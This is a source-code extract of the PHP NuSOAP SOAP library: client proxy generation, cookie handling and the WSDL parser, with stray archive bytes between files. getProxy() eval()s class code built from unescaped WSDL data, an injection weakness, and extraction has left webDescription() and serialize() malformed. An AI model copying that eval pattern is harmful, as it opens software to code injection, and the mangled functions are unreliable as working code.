useHTTPPersistentConnection(){ $this->debug("useHTTPPersistentConnection"); $this->persistentConnection = true; } /** * gets the default RPC parameter setting. * If true, default is that call params are like RPC even for document style. * Each call() can override this value. * * This is no longer used. * * @return boolean * @access public * @deprecated */ function getDefaultRpcParams() { return $this->defaultRpcParams; } /** * sets the default RPC parameter setting. * If true, default is that call params are like RPC even for document style * Each call() can override this value. * * This is no longer used. * * @param boolean $rpcParams * @access public * @deprecated */ function setDefaultRpcParams($rpcParams) { $this->defaultRpcParams = $rpcParams; } /** * dynamically creates an instance of a proxy class, * allowing user to directly call methods from wsdl * * @return object soap_proxy object * @access public */ function getProxy() { $r = rand(); $evalStr = $this->_getProxyClassCode($r); //$this->debug("proxy class: $evalStr"); if ($this->getError()) { $this->debug("Error from _getProxyClassCode, so return NULL"); return null; } // eval the class eval($evalStr); // instantiate proxy object eval("\$proxy = new nusoap_proxy_$r('');"); // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice $proxy->endpointType = 'wsdl'; $proxy->wsdlFile = $this->wsdlFile; $proxy->wsdl = $this->wsdl; $proxy->operations = $this->operations; $proxy->defaultRpcParams = $this->defaultRpcParams; // transfer other state $proxy->soap_defencoding = $this->soap_defencoding; $proxy->username = $this->username; $proxy->password = $this->password; $proxy->authtype = $this->authtype; $proxy->certRequest = $this->certRequest; $proxy->requestHeaders = $this->requestHeaders; $proxy->endpoint = $this->endpoint; $proxy->forceEndpoint = $this->forceEndpoint; $proxy->proxyhost = $this->proxyhost; $proxy->proxyport = $this->proxyport; $proxy->proxyusername = $this->proxyusername; $proxy->proxypassword = $this->proxypassword; $proxy->http_encoding = $this->http_encoding; $proxy->timeout = $this->timeout; $proxy->response_timeout = $this->response_timeout; $proxy->persistentConnection = &$this->persistentConnection; $proxy->decode_utf8 = $this->decode_utf8; $proxy->curl_options = $this->curl_options; $proxy->bindingType = $this->bindingType; $proxy->use_curl = $this->use_curl; return $proxy; } /** * dynamically creates proxy class code * * @return string PHP/NuSOAP code for the proxy class * @access private */ function _getProxyClassCode($r) { $this->debug("in getProxy endpointType=$this->endpointType"); $this->appendDebug("wsdl=" . $this->varDump($this->wsdl)); if ($this->endpointType != 'wsdl') { $evalStr = 'A proxy can only be created for a WSDL client'; $this->setError($evalStr); $evalStr = "echo \"$evalStr\";"; return $evalStr; } if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { $this->loadWSDL(); if ($this->getError()) { return "echo \"" . $this->getError() . "\";"; } } $evalStr = ''; foreach ($this->operations as $operation => $opData) { if ($operation != '') { // create param string and param comment string if (sizeof($opData['input']['parts']) > 0) { $paramStr = ''; $paramArrayStr = ''; $paramCommentStr = ''; foreach ($opData['input']['parts'] as $name => $type) { $paramStr .= "\$$name, "; $paramArrayStr .= "'$name' => \$$name, "; $paramCommentStr .= "$type \$$name, "; } $paramStr = substr($paramStr, 0, strlen($paramStr)-2); $paramArrayStr = substr($paramArrayStr, 0, strlen($paramArrayStr)-2); $paramCommentStr = substr($paramCommentStr, 0, strlen($paramCommentStr)-2); } else { $paramStr = ''; $paramArrayStr = ''; $paramCommentStr = 'void'; } $opData['namespace'] = !isset($opData['namespace']) ? 'http://testuri.com' : $opData['namespace']; $evalStr .= "// $paramCommentStr function " . str_replace('.', '__', $operation) . "($paramStr) { \$params = array($paramArrayStr); return \$this->call('$operation', \$params, '".$opData['namespace']."', '".(isset($opData['soapAction']) ? $opData['soapAction'] : '')."'); } "; unset($paramStr); unset($paramCommentStr); } } $evalStr = 'class nusoap_proxy_'.$r.' extends nusoap_client { '.$evalStr.' }'; return $evalStr; } /** * dynamically creates proxy class code * * @return string PHP/NuSOAP code for the proxy class * @access public */ function getProxyClassCode() { $r = rand(); return $this->_getProxyClassCode($r); } /** * gets the HTTP body for the current request. * * @param string $soapmsg The SOAP payload * @return string The HTTP body, which includes the SOAP payload * @access private */ function getHTTPBody($soapmsg) { return $soapmsg; } /** * gets the HTTP content type for the current request. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type for the current request. * @access private */ function getHTTPContentType() { return 'text/xml'; } /** * gets the HTTP content type charset for the current request. * returns false for non-text content types. * * Note: getHTTPBody must be called before this. * * @return string the HTTP content type charset for the current request. * @access private */ function getHTTPContentTypeCharset() { return $this->soap_defencoding; } /* * whether or not parser should decode utf8 element content * * @return always returns true * @access public */ function decodeUTF8($bool){ $this->decode_utf8 = $bool; return true; } /** * adds a new Cookie into $this->cookies array * * @param string $name Cookie Name * @param string $value Cookie Value * @return boolean if cookie-set was successful returns true, else false * @access public */ function setCookie($name, $value) { if (strlen($name) == 0) { return false; } $this->cookies[] = array('name' => $name, 'value' => $value); return true; } /** * gets all Cookies * * @return array with all internal cookies * @access public */ function getCookies() { return $this->cookies; } /** * checks all Cookies and delete those which are expired * * @return boolean always return true * @access private */ function checkCookies() { if (sizeof($this->cookies) == 0) { return true; } $this->debug('checkCookie: check ' . sizeof($this->cookies) . ' cookies'); $curr_cookies = $this->cookies; $this->cookies = array(); foreach ($curr_cookies as $cookie) { if (! is_array($cookie)) { $this->debug('Remove cookie that is not an array'); continue; } if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { if (strtotime($cookie['expires']) > time()) { $this->cookies[] = $cookie; } else { $this->debug('Remove expired cookie ' . $cookie['name']); } } else { $this->cookies[] = $cookie; } } $this->debug('checkCookie: '.sizeof($this->cookies).' cookies left in array'); return true; } /** * updates the current cookies with a new set * * @param array $cookies new cookies with which to update current ones * @return boolean always return true * @access private */ function UpdateCookies($cookies) { if (sizeof($this->cookies) == 0) { // no existing cookies: take whatever is new if (sizeof($cookies) > 0) { $this->debug('Setting new cookie(s)'); $this->cookies = $cookies; } return true; } if (sizeof($cookies) == 0) { // no new cookies: keep what we've got return true; } // merge foreach ($cookies as $newCookie) { if (!is_array($newCookie)) { continue; } if ((!isset($newCookie['name'])) || (!isset($newCookie['value']))) { continue; } $newName = $newCookie['name']; $found = false; for ($i = 0; $i < count($this->cookies); $i++) { $cookie = $this->cookies[$i]; if (!is_array($cookie)) { continue; } if (!isset($cookie['name'])) { continue; } if ($newName != $cookie['name']) { continue; } $newDomain = isset($newCookie['domain']) ? $newCookie['domain'] : 'NODOMAIN'; $domain = isset($cookie['domain']) ? $cookie['domain'] : 'NODOMAIN'; if ($newDomain != $domain) { continue; } $newPath = isset($newCookie['path']) ? $newCookie['path'] : 'NOPATH'; $path = isset($cookie['path']) ? $cookie['path'] : 'NOPATH'; if ($newPath != $path) { continue; } $this->cookies[$i] = $newCookie; $found = true; $this->debug('Update cookie ' . $newName . '=' . $newCookie['value']); break; } if (! $found) { $this->debug('Add cookie ' . $newName . '=' . $newCookie['value']); $this->cookies[] = $newCookie; } } return true; } } if (!extension_loaded('soap')) { /** * For backwards compatiblity, define soapclient unless the PHP SOAP extension is loaded. */ class soapclient extends nusoap_client { } } ?> PKq\!22!superwebmailer/lib/class.wsdl.phpnu[ * @author Scott Nichol * @version $Id: class.wsdl.php,v 1.76 2010/04/26 20:15:08 snichol Exp $ * @access public */ class wsdl extends nusoap_base { // URL or filename of the root of this WSDL var $wsdl; // define internal arrays of bindings, ports, operations, messages, etc. var $schemas = array(); var $currentSchema; var $message = array(); var $complexTypes = array(); var $messages = array(); var $currentMessage; var $currentOperation; var $portTypes = array(); var $currentPortType; var $bindings = array(); var $currentBinding; var $ports = array(); var $currentPort; var $opData = array(); var $status = ''; var $documentation = false; var $endpoint = ''; // array of wsdl docs to import var $import = array(); // parser vars var $parser; var $position = 0; var $depth = 0; var $depth_array = array(); // for getting wsdl var $proxyhost = ''; var $proxyport = ''; var $proxyusername = ''; var $proxypassword = ''; var $timeout = 0; var $response_timeout = 30; var $curl_options = array(); // User-specified cURL options var $use_curl = false; // whether to always try to use cURL // for HTTP authentication var $username = ''; // Username for HTTP authentication var $password = ''; // Password for HTTP authentication var $authtype = ''; // Type of HTTP authentication var $certRequest = array(); // Certificate for HTTP SSL authentication /** * constructor * * @param string $wsdl WSDL document URL * @param string $proxyhost * @param string $proxyport * @param string $proxyusername * @param string $proxypassword * @param integer $timeout set the connection timeout * @param integer $response_timeout set the response timeout * @param array $curl_options user-specified cURL options * @param boolean $use_curl try to use cURL * @access public */ function wsdl($wsdl = '',$proxyhost=false,$proxyport=false,$proxyusername=false,$proxypassword=false,$timeout=0,$response_timeout=30,$curl_options=null,$use_curl=false){ parent::nusoap_base(); $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); $this->proxyhost = $proxyhost; $this->proxyport = $proxyport; $this->proxyusername = $proxyusername; $this->proxypassword = $proxypassword; $this->timeout = $timeout; $this->response_timeout = $response_timeout; if (is_array($curl_options)) $this->curl_options = $curl_options; $this->use_curl = $use_curl; $this->fetchWSDL($wsdl); } /** * fetches the WSDL document and parses it * * @access public */ function fetchWSDL($wsdl) { $this->debug("parse and process WSDL path=$wsdl"); $this->wsdl = $wsdl; // parse wsdl file if ($this->wsdl != "") { $this->parseWSDL($this->wsdl); } // imports // TODO: handle imports more properly, grabbing them in-line and nesting them $imported_urls = array(); $imported = 1; while ($imported > 0) { $imported = 0; // Schema imports foreach ($this->schemas as $ns => $list) { foreach ($list as $xs) { $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! foreach ($xs->imports as $ns2 => $list2) { for ($ii = 0; $ii < count($list2); $ii++) { if (! $list2[$ii]['loaded']) { $this->schemas[$ns]->imports[$ns2][$ii]['loaded'] = true; $url = $list2[$ii]['location']; if ($url != '') { $urlparts = parse_url($url); if (!isset($urlparts['host'])) { $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' .$wsdlparts['port'] : '') . substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; } if (! in_array($url, $imported_urls)) { $this->parseWSDL($url); $imported++; $imported_urls[] = $url; } } else { $this->debug("Unexpected scenario: empty URL for unloaded import"); } } } } } } // WSDL imports $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! foreach ($this->import as $ns => $list) { for ($ii = 0; $ii < count($list); $ii++) { if (! $list[$ii]['loaded']) { $this->import[$ns][$ii]['loaded'] = true; $url = $list[$ii]['location']; if ($url != '') { $urlparts = parse_url($url); if (!isset($urlparts['host'])) { $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' . $wsdlparts['port'] : '') . substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; } if (! in_array($url, $imported_urls)) { $this->parseWSDL($url); $imported++; $imported_urls[] = $url; } } else { $this->debug("Unexpected scenario: empty URL for unloaded import"); } } } } } // add new data to operation data foreach($this->bindings as $binding => $bindingData) { if (isset($bindingData['operations']) && is_array($bindingData['operations'])) { foreach($bindingData['operations'] as $operation => $data) { $this->debug('post-parse data gathering for ' . $operation); $this->bindings[$binding]['operations'][$operation]['input'] = isset($this->bindings[$binding]['operations'][$operation]['input']) ? array_merge($this->bindings[$binding]['operations'][$operation]['input'], $this->portTypes[ $bindingData['portType'] ][$operation]['input']) : $this->portTypes[ $bindingData['portType'] ][$operation]['input']; $this->bindings[$binding]['operations'][$operation]['output'] = isset($this->bindings[$binding]['operations'][$operation]['output']) ? array_merge($this->bindings[$binding]['operations'][$operation]['output'], $this->portTypes[ $bindingData['portType'] ][$operation]['output']) : $this->portTypes[ $bindingData['portType'] ][$operation]['output']; if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ])){ $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ]; } if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ])){ $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ]; } // Set operation style if necessary, but do not override one already provided if (isset($bindingData['style']) && !isset($this->bindings[$binding]['operations'][$operation]['style'])) { $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style']; } $this->bindings[$binding]['operations'][$operation]['transport'] = isset($bindingData['transport']) ? $bindingData['transport'] : ''; $this->bindings[$binding]['operations'][$operation]['documentation'] = isset($this->portTypes[ $bindingData['portType'] ][$operation]['documentation']) ? $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'] : ''; $this->bindings[$binding]['operations'][$operation]['endpoint'] = isset($bindingData['endpoint']) ? $bindingData['endpoint'] : ''; } } } } /** * parses the wsdl document * * @param string $wsdl path or URL * @access private */ function parseWSDL($wsdl = '') { $this->debug("parse WSDL at path=$wsdl"); if ($wsdl == '') { $this->debug('no wsdl passed to parseWSDL()!!'); $this->setError('no wsdl passed to parseWSDL()!!'); return false; } // parse $wsdl for url format $wsdl_props = parse_url($wsdl); if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'http' || $wsdl_props['scheme'] == 'https')) { $this->debug('getting WSDL http(s) URL ' . $wsdl); // get wsdl $tr = new soap_transport_http($wsdl, $this->curl_options, $this->use_curl); $tr->request_method = 'GET'; $tr->useSOAPAction = false; if($this->proxyhost && $this->proxyport){ $tr->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); } if ($this->authtype != '') { $tr->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); } $tr->setEncoding('gzip, deflate'); $wsdl_string = $tr->send('', $this->timeout, $this->response_timeout); //$this->debug("WSDL request\n" . $tr->outgoing_payload); //$this->debug("WSDL response\n" . $tr->incoming_payload); $this->appendDebug($tr->getDebug()); // catch errors if($err = $tr->getError() ){ $errstr = 'Getting ' . $wsdl . ' - HTTP ERROR: '.$err; $this->debug($errstr); $this->setError($errstr); unset($tr); return false; } unset($tr); $this->debug("got WSDL URL"); } else { // $wsdl is not http(s), so treat it as a file URL or plain file path if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'file') && isset($wsdl_props['path'])) { $path = isset($wsdl_props['host']) ? ($wsdl_props['host'] . ':' . $wsdl_props['path']) : $wsdl_props['path']; } else { $path = $wsdl; } $this->debug('getting WSDL file ' . $path); if ($fp = @fopen($path, 'r')) { $wsdl_string = ''; while ($data = fread($fp, 32768)) { $wsdl_string .= $data; } fclose($fp); } else { $errstr = "Bad path to WSDL file $path"; $this->debug($errstr); $this->setError($errstr); return false; } } $this->debug('Parse WSDL'); // end new code added // Create an XML parser. $this->parser = xml_parser_create(); // Set the options for parsing the XML data. // xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); // Set the object for the parser. xml_set_object($this->parser, $this); // Set the element handlers for the parser. xml_set_element_handler($this->parser, 'start_element', 'end_element'); xml_set_character_data_handler($this->parser, 'character_data'); // Parse the XML file. if (!xml_parse($this->parser, $wsdl_string, true)) { // Display an error message. $errstr = sprintf( 'XML error parsing WSDL from %s on line %d: %s', $wsdl, xml_get_current_line_number($this->parser), xml_error_string(xml_get_error_code($this->parser)) ); $this->debug($errstr); $this->debug("XML payload:\n" . $wsdl_string); $this->setError($errstr); return false; } // free the parser xml_parser_free($this->parser); $this->debug('Parsing WSDL done'); // catch wsdl parse errors if($this->getError()){ return false; } return true; } /** * start-element handler * * @param string $parser XML parser object * @param string $name element name * @param string $attrs associative array of attributes * @access private */ function start_element($parser, $name, $attrs) { if ($this->status == 'schema') { $this->currentSchema->schemaStartElement($parser, $name, $attrs); $this->appendDebug($this->currentSchema->getDebug()); $this->currentSchema->clearDebug(); } elseif (preg_match('/schema$/', $name)) { $this->debug('Parsing WSDL schema'); // $this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")"); $this->status = 'schema'; $this->currentSchema = new nusoap_xmlschema('', '', $this->namespaces); $this->currentSchema->schemaStartElement($parser, $name, $attrs); $this->appendDebug($this->currentSchema->getDebug()); $this->currentSchema->clearDebug(); } else { // position in the total number of elements, starting from 0 $pos = $this->position++; $depth = $this->depth++; // set self as current value for this depth $this->depth_array[$depth] = $pos; $this->message[$pos] = array('cdata' => ''); // process attributes if (count($attrs) > 0) { // register namespace declarations foreach($attrs as $k => $v) { if (preg_match('/^xmlns/',$k)) { if ($ns_prefix = substr(strrchr($k, ':'), 1)) { $this->namespaces[$ns_prefix] = $v; } else { $this->namespaces['ns' . (count($this->namespaces) + 1)] = $v; } if ($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema') { $this->XMLSchemaVersion = $v; $this->namespaces['xsi'] = $v . '-instance'; } } } // expand each attribute prefix to its namespace foreach($attrs as $k => $v) { $k = strpos($k, ':') ? $this->expandQname($k) : $k; if ($k != 'location' && $k != 'soapAction' && $k != 'namespace') { $v = strpos($v, ':') ? $this->expandQname($v) : $v; } $eAttrs[$k] = $v; } $attrs = $eAttrs; } else { $attrs = array(); } // get element prefix, namespace and name if (preg_match('/:/', $name)) { // get ns prefix $prefix = substr($name, 0, strpos($name, ':')); // get ns $namespace = isset($this->namespaces[$prefix]) ? $this->namespaces[$prefix] : ''; // get unqualified name $name = substr(strstr($name, ':'), 1); } // process attributes, expanding any prefixes to namespaces // find status, register data switch ($this->status) { case 'message': if ($name == 'part') { if (isset($attrs['type'])) { $this->debug("msg " . $this->currentMessage . ": found part (with type) $attrs[name]: " . implode(',', $attrs)); $this->messages[$this->currentMessage][$attrs['name']] = $attrs['type']; } if (isset($attrs['element'])) { $this->debug("msg " . $this->currentMessage . ": found part (with element) $attrs[name]: " . implode(',', $attrs)); $this->messages[$this->currentMessage][$attrs['name']] = $attrs['element'] . '^'; } } break; case 'portType': switch ($name) { case 'operation': $this->currentPortOperation = $attrs['name']; $this->debug("portType $this->currentPortType operation: $this->currentPortOperation"); if (isset($attrs['parameterOrder'])) { $this->portTypes[$this->currentPortType][$attrs['name']]['parameterOrder'] = $attrs['parameterOrder']; } break; case 'documentation': $this->documentation = true; break; // merge input/output data default: $m = isset($attrs['message']) ? $this->getLocalPart($attrs['message']) : ''; $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $m; break; } break; case 'binding': switch ($name) { case 'binding': // get ns prefix if (isset($attrs['style'])) { $this->bindings[$this->currentBinding]['prefix'] = $prefix; } $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding], $attrs); break; case 'header': $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs; break; case 'operation': if (isset($attrs['soapAction'])) { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction']; } if (isset($attrs['style'])) { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style']; } if (isset($attrs['name'])) { $this->currentOperation = $attrs['name']; $this->debug("current binding operation: $this->currentOperation"); $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name']; $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding; $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = isset($this->bindings[$this->currentBinding]['endpoint']) ? $this->bindings[$this->currentBinding]['endpoint'] : ''; } break; case 'input': $this->opStatus = 'input'; break; case 'output': $this->opStatus = 'output'; break; case 'body': if (isset($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus])) { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus], $attrs); } else { $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = $attrs; } break; } break; case 'service': switch ($name) { case 'port': $this->currentPort = $attrs['name']; $this->debug('current port: ' . $this->currentPort); $this->ports[$this->currentPort]['binding'] = $this->getLocalPart($attrs['binding']); break; case 'address': $this->ports[$this->currentPort]['location'] = $attrs['location']; $this->ports[$this->currentPort]['bindingType'] = $namespace; $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $namespace; $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location']; break; } break; } // set status switch ($name) { case 'import': if (isset($attrs['location'])) { $this->import[$attrs['namespace']][] = array('location' => $attrs['location'], 'loaded' => false); $this->debug('parsing import ' . $attrs['namespace']. ' - ' . $attrs['location'] . ' (' . count($this->import[$attrs['namespace']]).')'); } else { $this->import[$attrs['namespace']][] = array('location' => '', 'loaded' => true); if (! $this->getPrefixFromNamespace($attrs['namespace'])) { $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; } $this->debug('parsing import ' . $attrs['namespace']. ' - [no location] (' . count($this->import[$attrs['namespace']]).')'); } break; //wait for schema //case 'types': // $this->status = 'schema'; // break; case 'message': $this->status = 'message'; $this->messages[$attrs['name']] = array(); $this->currentMessage = $attrs['name']; break; case 'portType': $this->status = 'portType'; $this->portTypes[$attrs['name']] = array(); $this->currentPortType = $attrs['name']; break; case "binding": if (isset($attrs['name'])) { // get binding name if (strpos($attrs['name'], ':')) { $this->currentBinding = $this->getLocalPart($attrs['name']); } else { $this->currentBinding = $attrs['name']; } $this->status = 'binding'; $this->bindings[$this->currentBinding]['portType'] = $this->getLocalPart($attrs['type']); $this->debug("current binding: $this->currentBinding of portType: " . $attrs['type']); } break; case 'service': $this->serviceName = $attrs['name']; $this->status = 'service'; $this->debug('current service: ' . $this->serviceName); break; case 'definitions': foreach ($attrs as $name => $value) { $this->wsdl_info[$name] = $value; } break; } } } /** * end-element handler * * @param string $parser XML parser object * @param string $name element name * @access private */ function end_element($parser, $name){ // unset schema status if (/*preg_match('/types$/', $name) ||*/ preg_match('/schema$/', $name)) { $this->status = ""; $this->appendDebug($this->currentSchema->getDebug()); $this->currentSchema->clearDebug(); $this->schemas[$this->currentSchema->schemaTargetNamespace][] = $this->currentSchema; $this->debug('Parsing WSDL schema done'); } if ($this->status == 'schema') { $this->currentSchema->schemaEndElement($parser, $name); } else { // bring depth down a notch $this->depth--; } // end documentation if ($this->documentation) { //TODO: track the node to which documentation should be assigned; it can be a part, message, etc. //$this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation; $this->documentation = false; } } /** * element content handler * * @param string $parser XML parser object * @param string $data element content * @access private */ function character_data($parser, $data) { $pos = isset($this->depth_array[$this->depth]) ? $this->depth_array[$this->depth] : 0; if (isset($this->message[$pos]['cdata'])) { $this->message[$pos]['cdata'] .= $data; } if ($this->documentation) { $this->documentation .= $data; } } /** * if authenticating, set user credentials here * * @param string $username * @param string $password * @param string $authtype (basic|digest|certificate|ntlm) * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) * @access public */ function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { $this->debug("setCredentials username=$username authtype=$authtype certRequest="); $this->appendDebug($this->varDump($certRequest)); $this->username = $username; $this->password = $password; $this->authtype = $authtype; $this->certRequest = $certRequest; } function getBindingData($binding) { if (is_array($this->bindings[$binding])) { return $this->bindings[$binding]; } } /** * returns an assoc array of operation names => operation data * * @param string $portName WSDL port name * @param string $bindingType eg: soap, smtp, dime (only soap and soap12 are currently supported) * @return array * @access public */ function getOperations($portName = '', $bindingType = 'soap') { $ops = array(); if ($bindingType == 'soap') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; } elseif ($bindingType == 'soap12') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; } else { $this->debug("getOperations bindingType $bindingType may not be supported"); } $this->debug("getOperations for port '$portName' bindingType $bindingType"); // loop thru ports foreach($this->ports as $port => $portData) { $this->debug("getOperations checking port $port bindingType " . $portData['bindingType']); if ($portName == '' || $port == $portName) { // binding type of port matches parameter if ($portData['bindingType'] == $bindingType) { $this->debug("getOperations found port $port bindingType $bindingType"); //$this->debug("port data: " . $this->varDump($portData)); //$this->debug("bindings: " . $this->varDump($this->bindings[ $portData['binding'] ])); // merge bindings if (isset($this->bindings[ $portData['binding'] ]['operations'])) { $ops = array_merge ($ops, $this->bindings[ $portData['binding'] ]['operations']); } } } } if (count($ops) == 0) { $this->debug("getOperations found no operations for port '$portName' bindingType $bindingType"); } return $ops; } /** * returns an associative array of data necessary for calling an operation * * @param string $operation name of operation * @param string $bindingType type of binding eg: soap, soap12 * @return array * @access public */ function getOperationData($operation, $bindingType = 'soap') { if ($bindingType == 'soap') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; } elseif ($bindingType == 'soap12') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; } // loop thru ports foreach($this->ports as $port => $portData) { // binding type of port matches parameter if ($portData['bindingType'] == $bindingType) { // get binding //foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { foreach(array_keys($this->bindings[ $portData['binding'] ]['operations']) as $bOperation) { // note that we could/should also check the namespace here if ($operation == $bOperation) { $opData = $this->bindings[ $portData['binding'] ]['operations'][$operation]; return $opData; } } } } } /** * returns an associative array of data necessary for calling an operation * * @param string $soapAction soapAction for operation * @param string $bindingType type of binding eg: soap, soap12 * @return array * @access public */ function getOperationDataForSoapAction($soapAction, $bindingType = 'soap') { if ($bindingType == 'soap') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; } elseif ($bindingType == 'soap12') { $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; } // loop thru ports foreach($this->ports as $port => $portData) { // binding type of port matches parameter if ($portData['bindingType'] == $bindingType) { // loop through operations for the binding foreach ($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { if ($opData['soapAction'] == $soapAction) { return $opData; } } } } } /** * returns an array of information about a given type * returns false if no type exists by the given name * * typeDef = array( * 'elements' => array(), // refs to elements array * 'restrictionBase' => '', * 'phpType' => '', * 'order' => '(sequence|all)', * 'attrs' => array() // refs to attributes array * ) * * @param string $type the type * @param string $ns namespace (not prefix) of the type * @return mixed * @access public * @see nusoap_xmlschema */ function getTypeDef($type, $ns) { $this->debug("in getTypeDef: type=$type, ns=$ns"); if ((! $ns) && isset($this->namespaces['tns'])) { $ns = $this->namespaces['tns']; $this->debug("in getTypeDef: type namespace forced to $ns"); } if (!isset($this->schemas[$ns])) { foreach ($this->schemas as $ns0 => $schema0) { if (strcasecmp($ns, $ns0) == 0) { $this->debug("in getTypeDef: replacing schema namespace $ns with $ns0"); $ns = $ns0; break; } } } if (isset($this->schemas[$ns])) { $this->debug("in getTypeDef: have schema for namespace $ns"); for ($i = 0; $i < count($this->schemas[$ns]); $i++) { $xs = &$this->schemas[$ns][$i]; $t = $xs->getTypeDef($type); $this->appendDebug($xs->getDebug()); $xs->clearDebug(); if ($t) { $this->debug("in getTypeDef: found type $type"); if (!isset($t['phpType'])) { // get info for type to tack onto the element $uqType = substr($t['type'], strrpos($t['type'], ':') + 1); $ns = substr($t['type'], 0, strrpos($t['type'], ':')); $etype = $this->getTypeDef($uqType, $ns); if ($etype) { $this->debug("found type for [element] $type:"); $this->debug($this->varDump($etype)); if (isset($etype['phpType'])) { $t['phpType'] = $etype['phpType']; } if (isset($etype['elements'])) { $t['elements'] = $etype['elements']; } if (isset($etype['attrs'])) { $t['attrs'] = $etype['attrs']; } } else { $this->debug("did not find type for [element] $type"); } } return $t; } } $this->debug("in getTypeDef: did not find type $type"); } else { $this->debug("in getTypeDef: do not have schema for namespace $ns"); } return false; } /** * prints html description of services * * @access private */ function webDescription(){ global $HTTP_SERVER_VARS; if (isset($_SERVER)) { $PHP_SELF = $_SERVER['PHP_SELF']; } elseif (isset($HTTP_SERVER_VARS)) { $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; } else { $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); } $b = ' NuSOAP: '.$this->serviceName.'


    '.$this->serviceName.'
    '; return $b; } /** * serialize the parsed wsdl * * @param mixed $debug whether to put debug=1 in endpoint URL * @return string serialization of WSDL * @access public */ function serialize($debug = 0) { $xml = ''; $xml .= "\nnamespaces as $k => $v) { $xml .= " xmlns:$k=\"$v\""; } // 10.9.02 - add poulter fix for wsdl and tns declarations if (isset($this->namespaces['wsdl'])) { $xml .= " xmlns=\"" . $this->namespaces['wsdl'] . "\""; } if (isset($this->namespaces['tns'])) { $xml .= " targetNamespace=\"" . $this->namespaces['tns'] . "\""; } $xml .= '>'; // imports if (sizeof($this->import) > 0) { foreach($this->import as $ns => $list) { foreach ($list as $ii) { if ($ii['location'] != '') { $xml .= ''; } else { $xml .= ''; } } } } // types if (count($this->schemas)>=1) { $xml .= "\n\n"; foreach ($this->schemas as $ns => $list) { foreach ($list as $xs) { $xml .= $xs->serializeSchema(); } } $xml .= ''; } // messages if (count($this->messages) >= 1) { foreach($this->messages as $msgName => $msgParts) { $xml .= "\n'; if(is_array($msgParts)){ foreach($msgParts as $partName => $partType) { // print 'serializing '.$partType.', sv: '.$this->XMLSchemaVersion.'
    '; if (strpos($partType, ':')) { $typePrefix = $this->getPrefixFromNamespace($this->getPrefix($partType)); } elseif (isset($this->typemap[$this->namespaces['xsd']][$partType])) { // print 'checking typemap: '.$this->XMLSchemaVersion.'
